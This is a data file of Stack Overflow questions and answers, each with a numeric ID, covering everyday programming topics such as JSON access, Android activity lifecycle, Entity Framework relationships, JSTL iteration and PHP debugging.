21213935	0	How to select object in muti level array <p>I am attempting to get just the smiling array under tags then attributes. I have tried both to search and simply select. Every attempt results in an undefined variable. If you could explain how to select the smiling array that would be excellent!</p> <pre><code> { "status": "success", "photos": [{ "url": "http://tinyurl.com/673cksr", "pid": "F@019cbdb135cff0880096136c4a0b9bad_3547b9aba738e", "width": 375, "height": 406, "tags": [{ "uids": [], "label": null, "confirmed": false, "manual": false, "width": 30.67, "height": 28.33, "yaw": -16, "roll": -1, "pitch": 0, "attributes": { "face": { "value": "true", "confidence": 84 }, "smiling": { "value": "false", "confidence": 46 } }, "points": null, "similarities": null, "tid": "TEMP_F@019cbdb135cff0880096136c00d500a7_3547b9aba738e_56.80_41.13_0_1", "recognizable": true, "center": { "x": 56.8, "y": 41.13 }, "eye_left": { "x": 66.67, "y": 35.71, "confidence": 51, "id": 449 }, "eye_right": { "x": 50.67, "y": 35.47, "confidence": 57, "id": 450 }, "mouth_center": { "x": 60.8, "y": 51.23, "confidence": 53, "id": 615 }, "nose": { "x": 62.4, "y": 42.61, "confidence": 54, "id": 403 } }] }], "usage": { "used": 21, "remaining": 79, "limit": 100, "reset_time": 1390111833, "reset_time_text": "Sun, 19 January 2014 06:10:33 +0000" }, "operation_id": "edc2f994cd8c4f45b3bc5632fdb27824" } </code></pre>
12483668	0	 <p>It's really whichever you like better. I've tried out both and don't see any real advantages which would make one superior </p>
21629330	0	How do I embed a JFrame into a JavaFX 2.0 application? <p>I have searched stackoverflow extensively for help on this topic, but the Q&amp;As I found are old and the answers have changed for the current version of the JDK (I'm currently using 7u51). </p> <p>Note that I was never SUPER proficient in Swing to begin with, but I believe I understand the fundamentals. (I've always been more focused on the meat inside an app, not the GUI).</p> <p>I'm trying to work with a third party library. The third party library requires that it's components use JFrame.</p> <p>Therefore, I'm trying to see how I would embed a JFrame into my JavaFX application. There was an old answer about doing something with javafx.ext.swing, but that's no longer included in JavaFX.</p> <p>Help?</p> <p>==========</p> <p>I should also add: I think Java 8, which is currently beta, will support what I need based on this: <a href="http://docs.oracle.com/javafx/8/embed_swing/jfxpub-embed_swing.htm">http://docs.oracle.com/javafx/8/embed_swing/jfxpub-embed_swing.htm</a> , but I need to see if there is a way to do this without relying on a beta product.</p>
39918363	0	 <p>Don't use string comparisons for date/times.</p> <pre><code>SELECT event_cust.* FROM event_cust WHERE TimeValue([start_time]) &gt;= CDate([Forms]![CustEventRptForm]![FromHour]) AND TimeValue([start_time]) &lt;= CDate([Forms]![CustEventRptForm]![ToHour]) </code></pre>
34697179	0	 <p>Reducer should be aware only of a small part of state.</p> <p>Good place for described logic is the action creator. With redux-thunk you will be able to make a decision based on a global state.</p> <pre><code>function selectFilter(enjoys) { return (dispatch, getState) =&gt; { dispatch({type: SELECT_FILTER, enjoys}); // if getState().ui.userList.selected exists in getState().data dispatch({type: SELECT_USER, name: null}); } }; </code></pre>
32827497	0	 <p>One slow but clear way would be</p> <pre><code>var matched = cars.Where(car =&gt; intList.Contains(car.id)).ToList(); </code></pre> <p>You can make this quicker by turning the <code>intList</code> into a dictionary and using <code>ContainsKey</code> instead.</p> <pre><code>var intLookup = intList.ToDictionary(k =&gt; k); var matched = cars.Where(car =&gt; intLookup.ContainsKey(car.id)).ToList(); </code></pre> <p>Even better still, a <code>HashSet</code>:</p> <pre><code>var intHash = new HashSet(intList); var matched = cars.Where(car =&gt; intHash.Contains(car.id)).ToList(); </code></pre>
12439300	0	 <p>You need to add "px" to left. </p> <pre><code>bouger.style.left= left + "px"; </code></pre> <p>Of course, it also runs so fast you can't see anything happen, so I have a modified version:</p> <p><a href="http://jsfiddle.net/5GEru/2/" rel="nofollow">http://jsfiddle.net/5GEru/2/</a></p> <p>Also, your code should terminate at some point. Like when left becomes greater than SOMETHING for example. If you're using jQuery of course, you could just do:</p> <pre><code>$(function(){ $("#bouge").animate({"left": 500},2000); }); </code></pre> <p>See: <a href="http://jsfiddle.net/5GEru/6/" rel="nofollow">http://jsfiddle.net/5GEru/6/</a><br> ​</p>
12400413	0	 <p>It seems like you misunderstanding some concepts in software development process. This:</p> <blockquote> <p>Since I want to manage both projects at the same time, I created a new solution for second application, which subclasses the necessary forms and classes</p> </blockquote> <p>is a very bad idea. </p> <p>In fact, new functionality brings you to new <em>version</em> of your software.<br> Do not inherit anything. Just make a development branch (in terms of source control) for your previous project version, and continue to develop new version, extending functionality. </p> <p>This will allow you to get two, completely independent versions of your software, which you will support simultaneously.</p>
39419031	0	 <p>Just change your loop to:</p> <pre><code>for (pos = s.begin(); pos != s.end(); ++pos) { cout &lt;&lt; static_cast&lt;void*&gt;( &amp;*pos ) &lt;&lt; endl; } </code></pre> <p><code>static_cast</code> is necessary because <code>&amp;*pos</code> has type <code>char *</code> which would be printed by <code>std::ostream</code> not the way you want.</p>
8098226	0	 <p>As far as I know, the only way to work on a HIT is through the mTurk website. i.e. - not via API.</p> <p>There is a site that is trying to do something very similar to what you have described. <a href="http://www.sparked.com/" rel="nofollow">http://www.sparked.com/</a></p>
21245488	0	 <p>One way is with a custom binding handler. </p> <pre><code>ko.bindingHandlers.lineBreaks = { init: function (element, valueAccessor, allBindings, data, context) { $(element).html(value.replace(/-/g, '&lt;br /&gt;')); } }; </code></pre> <p>See <a href="http://jsfiddle.net/rwisch45/t5EqM/3/" rel="nofollow">updated fiddle</a></p> <p>And if the value of the observable might change, then you can add an update section to the binding handler with the same code that is in the init.</p> <pre><code>ko.bindingHandlers.lineBreaks = { init: function (element, valueAccessor, allBindings, data, context) { $(element).html(value.replace(/-/g, '&lt;br /&gt;')); }, update: function (element, valueAccessor, allBindings, data, context) { $(element).html(value.replace(/-/g, '&lt;br /&gt;')); } }; </code></pre> <p>Now the displayed value will be formatted via the binding handler when the value of the observable updates.</p> <p>You can probably achieve the same effect with an <a href="http://knockoutjs.com/documentation/extenders.html" rel="nofollow">extender</a> as well.</p>
29477871	0	 <p>Make the first timeout with the offset for the hour.</p> <pre><code>setTimeout(worker,3600000 - ((new Date) % 3600000)) </code></pre> <p>This will be somewhat accurate (Date object construction might take some milliseconds).</p>
29552865	0	 <p>This is, to me, a good case for many-to-many relationship with additional information (location, timedate, and parcel). Parcel can have many locations (at different times), and a location might belong to many parcels (at different times). I hope I understand you correctly.</p> <p>Here is my suggested design:</p> <pre><code>public class Parcel { public int ParcelId { get; set; } public List&lt;ParcelAssignment&gt; ParcelAssignments { get; set; } } public class Location { [Key] public int LocationId { get; set; } public LocationType LocationType { get; set; } public List&lt;ParcelAssignment&gt; ParcelAssignments { get; set; } } public enum LocationType { Warehouse, Truck } public class ParcelAssignment { [Key] public int ParcelAssignmentId { get; set; } [Required] public int LocationId { get; set; } [ForeignKey("LocationId")] public Location Location { get; set; } [Required] public int ParcelId { get; set; } [ForeignKey("ParcelId")] public Parcel Parcel { get; set; } public DateTime DateOfAssignment { get; set; } } </code></pre> <p>Your fluent api that goes to your dbcontext class:</p> <pre><code>modelBuilder.Entity&lt;ParcelAssignment&gt;() .HasRequired(pa =&gt; pa.Parcel) .WithMany(p =&gt; p.ParcelAssignments) .HasForeignKey(pa =&gt; pa.ParcelId); modelBuilder.Entity&lt;ParcelAssignment&gt;() .HasRequired(pa =&gt; pa.Location) .WithMany(l =&gt; l.ParcelAssignments) .HasForeignKey(pa =&gt; pa.LocationId); </code></pre> <p>You can read more about many-to-many relationships on EF here: </p> <p><a href="https://practiceaspnet.wordpress.com/2015/03/25/understanding-many-to-many-relationships-in-entity-framework-part-i/" rel="nofollow">https://practiceaspnet.wordpress.com/2015/03/25/understanding-many-to-many-relationships-in-entity-framework-part-i/</a></p> <p><a href="https://practiceaspnet.wordpress.com/2015/03/25/understanding-many-to-many-relationships-in-entity-framework-part-ii/" rel="nofollow">https://practiceaspnet.wordpress.com/2015/03/25/understanding-many-to-many-relationships-in-entity-framework-part-ii/</a></p>
23043066	0	 <p>Apple's MapKit only used Google Maps up to iOS 5.1 as stated in the <a href="https://developer.apple.com/library/ios/documentation/MapKit/Reference/MKMapView_Class/MKMapView/MKMapView.html" rel="nofollow">"Important" note in the <code>MKMapView</code> class reference</a>:</p> <blockquote> <p><strong>Important</strong>: In iOS 5.1 and earlier, the Map Kit framework uses the Google Mobile Maps (GMM) service to provide map data.</p> </blockquote> <p>Since then, and including iOS 7.1, MapKit uses Apple's mapping service instead. </p> <p>However, regardless of iOS version, the developer is not charged for using maps.</p>
8640011	0	What does "visibility" refer to in the Activity Lifecycle? onPause vs onStop? <p>The Activity Lifecycle is giving me headaches. The documentation at <a href="http://developer.android.com/reference/android/app/Activity.html" rel="nofollow">http://developer.android.com/reference/android/app/Activity.html</a> is so darn ambiguous when it describes the concept of visibility, that I can't figure out when <code>onStop()</code> is called vs <code>onPause()</code>.</p> <p>Compare the following two statements from the documentation:</p> <blockquote> <p><em>(taken from right beneath the lifecycle diagram)</em></p> <p>The <code>onStart()</code> and <code>onStop()</code> methods can be called multiple times, as the activity becomes visible and hidden to the user.</p> </blockquote> <p>vs</p> <blockquote> <p><em>(further down in the blue table with the "killable" columns)</em></p> <p><code>onPause()</code> Called when the system is about to start resuming a previous activity.</p> </blockquote> <p>What I'd understand from the first quote, is that <code>onStop()</code> is called on activity <code>A</code> when <code>A</code> is "hidden". "Hidden" I'd guess is referring to when another activity <code>B</code> has been resumed and is completely covering actvity <code>A</code>. But the second quote then states that <code>onPause()</code> is called when another activity is about to start resuming. Wouldn't that completely hide activity A as well? Both cases seem to imply that that activity <code>A</code> becomes "hidden", no? According to my likely faulty interpretation, <code>onPause()</code> and <code>onStop()</code> are called in identical situations.</p> <p>The documentation also seems to differ between being hidden (<code>onStop()</code> gets called) and being partial visibility (<code>onPause()</code> gets called). But when is an activity still partially visible? Do they mean literally? Or can an activity still be deemed "partially visible" when it has started up a new activity (activity calls startActivityForResult and starts a date picker activity) that covers the entire screen? Surely the activity is not going get onStop invoked? Its supposed to receive a result any moment!</p> <p>So I'm trying to figure out what I'm not getting. I understand that a call to onPause is guaranteed. That would be when activity <code>A</code> loses focus (device enters sleep mode, screenlock, etc), a different activity <code>B</code> takes the foreground (where activity <code>B</code> may or may not have been initiated by activity <code>A</code>). But at which point is the <code>onStop()</code> invoked on activity <code>A</code>?</p> <p>Is it matter of how many activities have been piled ontop of activity A on the activity stack? Are there two different definitions of "visiblity" at play?</p> <p>Sorry about the wall of text, but I'm really frustrated :S</p> <p>So the question stands: Precisely in which situations is an activity deemed "hidden" such that <code>onStop()</code> is called on it?</p> <p><strong>EDIT:</strong></p> <p>I inserted Toast notifications in each onX method, and discovered some additional weirdness:</p> <ol> <li>Pressing the Home button will <em>always</em> call onStop(). But starting up the application won't call <code>onRestart()</code>. Instead it calls <code>onCreate()</code>. This seems strange to me, but ok...</li> <li>When the "USB Mass Storage" activity is started on top of the main activity, <code>onStop()</code> is called. And when exiting the usb storage activity, returning to the main activity, <code>onRestart()</code> is called, instead of <code>onCreate()</code>.</li> <li>When the device goes into Sleep mode and is waken up, the activity only goes through the <code>onPause()</code> and <code>onResume()</code> cycle.</li> </ol> <p>The last point was expected (although I can't get it to fit in the lifecycle diagram). But whats up with 1. and 2. ?</p> <p>In the first point, I was expecting a call to <code>onRestart()</code> when starting the activity again. Why did it deallocate the activity and call <code>onCreate()</code> instead?</p> <p>And take a look at point nr 2: According to the documentation: when "another activity comes in front of the activity", <code>onPaused()</code> should be called. Isn't that what happened when the USB Storage activity came up? It didn't call <code>onPause()</code>, it went through the <code>onStop()</code> - <code>OnRestart()</code> cycle! Obviously, the documentation doesn't consider that a case where "another activity comes in front of the activity". So what really happened?</p>
23336248	0	 <p>It works for me in my app on Jetty:</p> <p></p> <pre><code>&lt;error-page&gt; &lt;error-code&gt;500&lt;/error-code&gt; &lt;location&gt;/WEB-INF/jsp/error.jsp&lt;/location&gt; &lt;/error-page&gt; </code></pre>
19392436	0	Updating many-to-many relations in JayData <p>My OData model contains a pair of entities with many-to-many relationship (Parents-Children). I am trying to add a child entity to a parent's Children navigation property, but calling saveChanges() afterwards has no effect at all. The code looks something like:</p> <pre><code>// both 'parent' and 'child' are attached to the context // both have their navigation properties empty parent.Children.push(child); context.saveChanges(); </code></pre> <p>I have also tried:</p> <pre><code>parent.Children = parent.Children.concat([child]); parent.Children = [child]; </code></pre> <p>But to no avail, it still doesn't work - the saveChanges() call doesn't make any requests to the service, as if there is nothing to update.</p> <p>I'd really appreciate an example of how to work with many-to-many relations using JayData, and some help dealing with the issue described above. Thanks</p>
3751827	0	 <p>There are probably a lot of ways, but why not treat direction as a optional argument, which when not set indicates a reset condition.</p> <pre><code>function changestart(direction) { var startElement = $("#startID"); if ( direction ) { var rowsElement = $("#maxrows"); var rowsValue = parseInt(rowsElement.val()); var value = parseInt(startElement.val()); startElement.val(direction == "forward" ? value + rowsValue : direction == "back" ? value - rowsValue : 1); } else { startElement.val( 0 ); } } $("#previous").click(function(){changestart('back');}); $("#next").click(function(){changestart('forward');}); // not working $("#lookup").click(function(){changestart();}); </code></pre>
39750079	0	 <p>Process exited with singal 11 (segmentation fault). Typically, it means process unexpectedly crashed because of some error in memory usage, and php just can't handle that error in any way. You will get same error using apache+mod_php, apache+mod_fcgid or any other configuration.</p> <p>In my practice, segfault gives you no useful error message in all cofigurations. The only real way to debug it is <strong>strace</strong>. One-liner to attach strace to all php processes running:</p> <pre><code>strace -f -F -s1000 -t -T `ps aux | grep -E 'apache|php|httpd' | awk '{print "-p" $2}' | xargs` </code></pre> <p>If the error is hard to reproduce, you can use <strong>xdebug</strong> php-module. You need to install it like that:</p> <pre><code>apt-get install php5-xdebug </code></pre> <p>or</p> <pre><code>yum install php-pecl-xdebug </code></pre> <p>for CentOS. For automatic tracing of all processes add to config:</p> <pre><code>xdebug.auto_trace=On </code></pre> <p>And you'll get traces, default path is:</p> <pre><code>xdebug.trace_output_dir =&gt; /tmp =&gt; /tmp xdebug.trace_output_name =&gt; trace.%c =&gt; trace.%c </code></pre> <p>So your trace will have name /tmp/trace.$PID.xt</p> <p>There you should be able to see last called fuction before process crash.</p>
21132305	0	why this message come in php:notice undefined offset:2 <p>I want to use the project PHP Weather 2.2.2 but it has many problems here is a code </p> <pre><code>function get_languages($type) { static $output = array(); if (empty($output)) { /* I use dirname(__FILE__) here instead of PHPWEATHER_BASE_DIR * because one might use this function without having included * phpweather.php first. */ require(dirname(__FILE__) . '/languages.php'); $dir = opendir(dirname(__FILE__) . '/output'); while($file = readdir($dir)) { // I got a problem in this line below if (ereg("^pw_${type}_([a-z][a-z])(_[A-Z][A-Z])?\.php$", $file, $regs)) { // After i change it to the line mentioned below i got error undefined offset:2 in line 2 mentioned below // how to correct this error or is there any way to correct this code if(preg_match("#^pw_${type}_([a-z][a-z])(_[A-Z][A-Z])?\.php$#", $file, $regs)) { $output[$regs[1] . $regs[2]] = $languages[$regs[1] . $regs[2]]; } } closedir($dir); } asort($output); return $output; } </code></pre>
9903569	0	 <p>You can supply a comparison function to the <code>sort</code> method:</p> <pre><code> theArray.sort(function(a, b){ if (a.Field2 == b.Field2) return 0; if (a.Field2 &lt; b.Field2) return -1; return 1; }); </code></pre>
3971782	0	What to use for a datagrid with a lot of data? <p>Found this interesting interview question:</p> <p>You need to display the sales data for your division for the past 5 years in a DataGrid on a Web Form. Performance is very important. What would be the best strategy to use in retrieving the data?</p> <ul> <li>a)Use a DataReader object to retrieve the data for the DataGrid.</li> <li>b)Use a DataSet object to retrieve the data for the DataGrid.</li> <li>c)Use a simple select statement as the data source for the DataGrid.</li> <li>d)Use a cached XML file as the data source and retrieve the data with a DataSet.</li> </ul> <p>My answer is c) but I am not too sure Can anyone point me to the right answer and explain it to me please Thanks</p>
32319007	0	Multiple FileUploads with Multiple Submit Buttons <p>I have for example 5 fileupload controls and Also I have a submit button for each of them (in front of each fileupload control) which will upload that fileupload's selected file(s).</p> <p>But There is a problem, when I click on (for example) second submit button to upload second fileupload's file(s), we will have a post back and other fileupload's file(s) will reset to empty. How can I manage such situation so when the user click on a submit button, the related fileupload's file(s) upload and the other fileupload's file(s) stay in their states. Hope I'm clear enough.</p> <p>A Picture for better Result:</p> <p><a href="https://i.stack.imgur.com/zrJoC.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zrJoC.png" alt="enter image description here"></a></p>
28660442	0	 <p>Strictly speaking, this is not exacly a Scalding question but you can use something like <a href="http://commons.apache.org/proper/commons-jexl#A_Brief_Example" rel="nofollow">Apache Commons JeXL</a> to execute formulas dynamically. So you would read the formula from the 2nd file, give it first file record object as a context and execute it.</p>
36961614	0	 <p><strong>UPDATE SOLUTION FOUND!</strong> well the solutionin fact deleted some random files so I have taken it off until I figure out why.</p> <p>I leave this important note from before</p> <p><strong>ANYTIME YOU USE CRON</strong> I cannot emphasize enough the importance of specifying completely the full path of all sh files, files in arguments and any files you want to pipe output too such as >> /mydirectorywhereiwantit/output.txt in full in both your crontab file and your sh files script files. </p> <p>As I learned <strong>cron will look for files and write files in whatever directory it happens to be in while bashing</strong> and that can get EXTREMELY confusing if that is a different directory from where you normally type from the terminal. SO FULLY SPECIFY ALL PATHS TO ALL FILES IN BOTH CRONTAB AND IN THE CALLED SH SCRIPT FILES AND IN ARGUMENTS!</p> <p>Thanks to John Mark Mitchell who so kindly offer so many possible solutions.</p>
40682361	0	TFS access rights for revoking some rights to project collection admins <p>I am using Visual Studio Team Services (VSTS). I have to create some Project Collection Administrators only for administrative purpose. At the same time, there will be few projects where all the administrators will not have all rights to those projects. Since rights are inherited, rights cannot be revoked from those administrators and given to some normal users only, few of those users may be project collection administrators also.</p> <p>Is it possible to achieve this?</p> <p>Thanks</p>
4424235	0	 <p>In my case i found out it was division by zero</p>
36009744	0	FabricJS export relative to canvas <p>I'm building a authoring tool in FabricJS which is meant to export something for android devices. It's decided that I will support only 6/9 screen ratio (other screens will get black borders). My problem is that I open the page on my pc, add and edit some elements and export ( using the fabricjs serializer ) and then I open on a laptop (different display size), the canvas gets resized correctly (with some js magic) but the elements are still at the same location and same size as on the big display . The problem is that FabricJS does not create elements relative to canvas size.</p> <p>I can write my own export/load functions, but it feels wrong because each element has <em>width</em>, <em>height</em>, <em>scaleX</em> and <em>scaleY</em>. Using the handles changes the scale for some reason. This leads me to think that there is something like a canvas scale, but there is not.</p> <p>Am I missing something? How does one go about exporting and then opening on a different screen, but maintaining the canvas ratio and having elements relative to the canvas size.</p>
5422768	0	 <pre><code>$catname = str_replace('-', ' ', $catname); </code></pre>
30551958	0	 <p>This may be further off topic than you want to go but <a href="http://nsubstitute.github.io/" rel="nofollow">NSubstitute</a> is a great mocking library that handles this very well. In NSubstitute it's just:</p> <pre><code> var mock = Substitute.For&lt;IInterface&gt;(); var obj = new MyClass(); await obj.Run(); Received.InOrder(() =&gt; { mock.MethodOne("foo"); mock.MethodTwo("foo"); }); </code></pre>
39796869	0	 <p>Looks like you want the vector product i.e. outer join. But to have a join you need a column with rows matching. A trick here would be to create a new column with just a single value like "1" for all of the rows (use "Insert Calculated Column" - be sure to freeze the column so you can join to it later). Then do a full outer join of that table with a copy of itself (use the "Insert Columns" feature for the join) using the column with that dummy column as the key field. You will then get the combinations you showed above, but it will also have rows where the keys matched.</p> <p>To remove the matches, you can easily create a new column with an expression testing if the primary keys match like:</p> <pre><code>if([Location]=[Location(2)],"Match","NoMatch") </code></pre> <p>Then filter to the matching rows and delete if you don't want them in the data set.</p> <p>You can certainly ask Spotfire questions here, but you can also try the Spotfire section of the TIBCO Community here:</p> <p><a href="https://community.tibco.com/products/spotfire" rel="nofollow">https://community.tibco.com/products/spotfire</a></p>
1561630	0	Optimizing images in a jar-file <p>Is there an advantages to putting all my small widget graphics in one single png-file, which is loaded once, and then creating ImageIcons for buttons and such from sections of this? (Normally I would just use <code>new ImageIcon(aClass.class.getResource("/path/with/image.png"))</code>.) What would be a good way of doing this?</p>
14858674	0	 <p>The <code>${userRecords}</code> here</p> <pre><code>${userRecords.user_first_name} ${userRecords.user_middle_name} </code></pre> <p>is a <code>List&lt;User&gt;</code>, however you're attempting to access it as if it's a single <code>User</code>. This is not valid. In EL, a <code>List</code> can only be accessed with an integer index, indicating the position of the list item you'd like to access, like so</p> <pre><code>${userRecords[0].user_first_name} ${userRecords[0].user_middle_name} </code></pre> <p>The exception is also basically telling that it expected an integer value instead of a string value. If you look closer at the stack trace, you'll see that a <code>ListELResolver</code> is involved.</p> <p>However, your concrete problem is bigger. You should actually be iterating over the list. Use the <a href="http://stackoverflow.com/tags/jstl/info">JSTL</a> <code>&lt;c:forEach&gt;</code> for that. E.g. (simplified from your odd code snippet):</p> <pre class="lang-html prettyprint-override"><code>&lt;table&gt; &lt;c:forEach items="${userRecords}" var="user"&gt; &lt;tr&gt; &lt;td&gt;${user.user_first_name}&lt;/td&gt; &lt;td&gt;${user.user_middle_name}&lt;/td&gt; &lt;/tr&gt; &lt;/c:forEach&gt; &lt;/table&gt; </code></pre> <p><em>(note: keep the <a href="http://stackoverflow.com/questions/2658922/xss-prevention-in-java/2658941#2658941">XSS attack hole</a> in mind if you really intend to redisplay them as input values)</em></p> <p>By the way, I'd work on your <a href="http://www.oracle.com/technetwork/java/javase/documentation/codeconvtoc-136057.html">Java code conventions</a>. Those underscores are really not Java-ish.</p>
38252374	0	 <p>When used as part of a URL, ? and &amp; represent key value pairs that make up the Query String, which is a set of information sent to the server.</p> <p>The query string starts after the end of the page being requested with a ? and then a key value pair like:</p> <pre><code>?variable1=value1 </code></pre> <p>Any additional key/value pairs need to be prefaced with &amp; like:</p> <pre><code>?variable1=value1&amp;variable2=value2&amp;variable3=value3 </code></pre>
9401370	0	 <p>It doesn't work because you're trying to replace the ASCII apostrophe (or single-quote) and quote characters with the empty string, when what's actually in your source string aren't ASCII characters.</p> <pre><code>str.replace(/[“”‘’]/g,''); </code></pre> <p>works.</p>
27721190	0	 <p>Add this to your <code>ApplicationController</code>:</p> <pre><code>def search @search ||= Search.new end def galleries @galleries ||= Gallery.all end </code></pre> <p>You then use the function (<code>search</code>) in your views instead if the instance variable <code>@search</code>); the <code>||=</code> makes sure the code is executed only once (thus saving database queries).</p>
3723646	0	How to save data from a DataGridView into database? c# winforms <p>I have this little application, and what it does is a user can add many deductions to a certain employee and save the record.</p> <p><img src="https://i.stack.imgur.com/Y2mVu.png" alt="alt text"></p> <p>What I do in my coding is I pass all the values to a <code>DataTable</code> and loop through each rows and execute a stored procedure that inserts the particular row with the column values. This happens until there are no rows to be inserted from the DataTable. </p> <p>Is there any shortcut? I mean, can I insert the whole value of datatable in one call? I just thought that my current way of inserting data is very resource consuming because it always calls the stored procedure in the server as long as there are rows in the datatable.</p> <p>Any work around or suggestions? I would be very thankful. I hope you understand me,. thanks in advance.</p>
4022463	0	How can I extract non-standard HTTP headers using Perl's LWP? <p>I'm working with a web application that sends some non-standard HTTP headers in its response to a login request. The header in question is:</p> <pre><code>SSO_STATUS: LoginFailed </code></pre> <p>I tried to extract it with LWP::Response as <code>$response-&gt;header('SSO_STATUS')</code> but it does not work. It does work for standard headers such as <code>Set-Cookie</code>, <code>Expires</code> etc.</p> <p>Is there a way to work with the raw headers?</p>
31635874	0	gcc with explicit linking <p>I would like with compile C++ code with GCC using command</p> <pre><code>gcc -lstdc++ hello.cpp -o out.a </code></pre> <p>Code:</p> <pre><code>#include &lt;iostream&gt; int main() { std::cout&lt;&lt;"hello"; return 0; } </code></pre> <p>Got output:</p> <pre><code>/tmp/ccgtX1Xs.o: In function `main': hello.cpp:(.text+0xa): undefined reference to `std::cout' hello.cpp:(.text+0xf): undefined reference to `std::basic_ostream&lt;char, std::char_traits&lt;char&gt; &gt;&amp; std::operator&lt;&lt; &lt;std::char_traits&lt;char&gt; &gt;(std::basic_ostream&lt;char, std::char_traits&lt;char&gt; &gt;&amp;, char const*)' /tmp/ccgtX1Xs.o: In function `__static_initialization_and_destruction_0(int, int)': hello.cpp:(.text+0x3d): undefined reference to `std::ios_base::Init::Init()' hello.cpp:(.text+0x4c): undefined reference to `std::ios_base::Init::~Init()' collect2: error: ld returned 1 exit status g@GME5420:~/cpp$ </code></pre>
35503654	0	 <p>Your two larger SELECTS (the first 2) are returning 12 items. The last two SELECTS (the small ones) are returning 13 items. UNION must have matching columns.</p> <p>eg statement should end...</p> <pre><code>SELECT NULL, 0, 'ABC', NULL, NULL, NULL, 'ABC', NULL, NULL, NULL, NULL, NULL FROM DUAL UNION SELECT NULL, 0, 'XYZ', NULL, NULL, NULL, 'XYZ', NULL, NULL, NULL, NULL, NULL FROM DUAL </code></pre>
39483974	0	 <p>I'm not sure if I understand your problem correctly, but please check if solution mentioned in <a href="http://stackoverflow.com/questions/4042856/system-out-with-ant">this question</a> suits your needs.</p>
11638724	0	 <p>As a function:</p> <pre><code>function printYearsBefore(date,num) { var yr = parseInt(date.getFullYear()), i =0; while(++i &lt;= num){ document.write((yr-i)); } } printYearsBefore(new Date(),18); </code></pre>
35418633	0	 <p>use group by for aggregate function (and for this you don0t need distinct )</p> <pre><code>"SELECT Test_ID AS Tcode, COUNT(*) AS Qcount, User_ID FROM user_answers WHERE User_ID = 1 group by Tcode, User_ID ") </code></pre>
4881085	0	php is there a way to transfer Latin letters to english letters? <p>is there a way to transfer Latin letters to english letters with php?</p> <p>Such as: <code>āáǎà</code> transfer to <code>a</code>, </p> <p><code>ēéěè</code> transfer to <code>e</code>,</p> <p><code>īíǐì</code> transfer to <code>i</code>,</p> <p>... // there may be dozens which are main in Germany, French, Italian, Spain...</p> <p>PS: how to transfer punctuation mark use php? I also want to transfer <code>%20</code> to a space, transfer <code>%27</code> to <code>'</code>. Thank u.</p>
27129711	0	 <p>Well, my recommendation would be twofold. First, just don't use factors when creating the data.frame; you can factor post-hoc if you really need them. So:</p> <pre><code>GammaShape &lt;- data.frame(Format, Shape, stringsAsFactors = FALSE) </code></pre> <p>Second: for loops are a really inefficient way to modify data.frames, because of how data.frames are stored and modified: every time you tweak a value, you're actually recreating the data.frame in its (new) format and assigning it to the old name, which is computationally expensive with big objects. While this is a very small data.frame, I'd suggest getting into the habit of operating on individual vectors wherever possible, and merging into a data.frame <em>after</em> you've finished iterating. So:</p> <pre><code>Format &lt;- c('10x2', '10x3', '10x7', '17x15', '17x7', '20x2', '20x3', '25x4', '4 column', '5 column', '7x7', 'DPS', 'FP') Shape &lt;- numeric(length(Format)) for(i in seq_along(Shape)){ Shape[i] &lt;- coef(fitdistr(modelset$ETTime[which(modelset$Format == Format[i])]/1000)) } GammaShape &lt;- data.frame(Format, Shape, stringsAsFactors = FALSE) </code></pre> <p>...and then if you want to factor, well, apply <code>as.factor</code>. Note that this solution works <em>to the best of my knowledge</em> - your example doesn't show us modelset.</p>
33535056	0	 <p>It looks like this has nothing to do with wallet, but instead is an issue with the version of <code>com.balysv:material-ripple</code> you are using as per <a href="https://github.com/balysv/material-ripple/issues/31" rel="nofollow">this issue</a>.</p> <p>The <a href="https://github.com/balysv/material-ripple" rel="nofollow">library's Github page</a> shows that the latest version (which includes the above fix) is:</p> <pre><code>compile 'com.balysv:material-ripple:1.0.2' </code></pre>
29495239	0	How do you use @Inject with an ejb-jar with (one or more) WAR files? <p>Working with GlassFish, trying to be tidy, I would like to put all of my business logic into a single EJB JAR. I then have 2 WAR files. </p> <ul> <li>app-frontend-war </li> <li>app-backend-war</li> <li>app-logic-ejb</li> </ul> <p>Each of the WAR files need to use the EJBs that are within the app-logic-ejb JAR. This EJB JAR holds the main persistence unit. But I am finding that @Inject of any app-logic-ejb EJB's from any Java within the WAR files are not working.</p> <p>Also, I am trying to avoid using an EAR.</p>
33627536	0	 <p>You have just forgotten the <code>new</code> in this line</p> <pre><code>$someclass = someOtherClass(); </code></pre> <p>It should be </p> <pre><code>$someclass = new someOtherClass(); </code></pre> <p>Then everything works. Although this only applies to the second version of your question, not the first!</p>
39503721	0	Perl Regex -?\d+(?:\.\d+)? <p>This regex is supposed to match any numbers (real or integer - no scientific notation). However, I am not sure what is the use of '?:' inside the parentheses. Could anyone explain this along with some examples? Thank you very much.</p>
17886893	0	 <p>If the query builder is done in house, and if your query builder returns a the SQL statement in a string, you can parse it either looking for Update statements keyworks or with Regex, if you want to spare the users the trouble of creating an update query then realizing that they can't run it, then you should consider doing this check continiously as they create the query. Alternatively, you can use a third party query builder, like this one: <a href="http://www.activequerybuilder.com/" rel="nofollow">http://www.activequerybuilder.com/</a>, unfortunately i belive it doesn't support anything else but Select statements but it may be worth the shot.</p>
7060185	0	 <p>You could break the word into an array of letters, and loop over this using a random number to determining case, after looping the array, simply stick the letters back together using NSMutableString.</p> <p>NSString had a uppercaseString and lowercaseString methods you can use.</p>
22937003	0	HTTP Illegal state exception <p>I have the following code, which in general works without problems:</p> <pre><code>HttpPost post = new HttpPost(sendURL); StringEntity se = new StringEntity( postJSON.toString(), "UTF-8"); se.setContentType(new BasicHeader(HTTP.CONTENT_TYPE, "application/json")); post.setEntity(se); response = httpClient.execute(post); </code></pre> <p>When postJSON has the following, I get an IllegalStateException, with the message "Manager is shut down":</p> <pre><code>{"action":"add","items":["61515"],"screen":"display","customer_number":"200001013"} </code></pre> <p>I got a similar message when the items array had malformed content, but I don't see the problem here. Also, the response is immediate, so I am pretty sure that the HTTP library is throwing the exception, not the server. What is wrong with this JSON object?</p> <p>Furthermore, testing the JSON at <a href="http://jsonlint.com/" rel="nofollow">JSONLint</a> shows me that the JSON parses correctly, including the array with "61515", which is the new element in the code.</p>
13781147	0	 <p>You are only catching <code>SQLException</code> objects, and <code>NullPointerException</code> is not a subclass of <code>SQLException</code>. You can insert <code>NullPointerException|</code> to catch those also; see <a href="http://docs.oracle.com/javase/7/docs/technotes/guides/language/catch-multiple.html" rel="nofollow">http://docs.oracle.com/javase/7/docs/technotes/guides/language/catch-multiple.html</a>.</p>
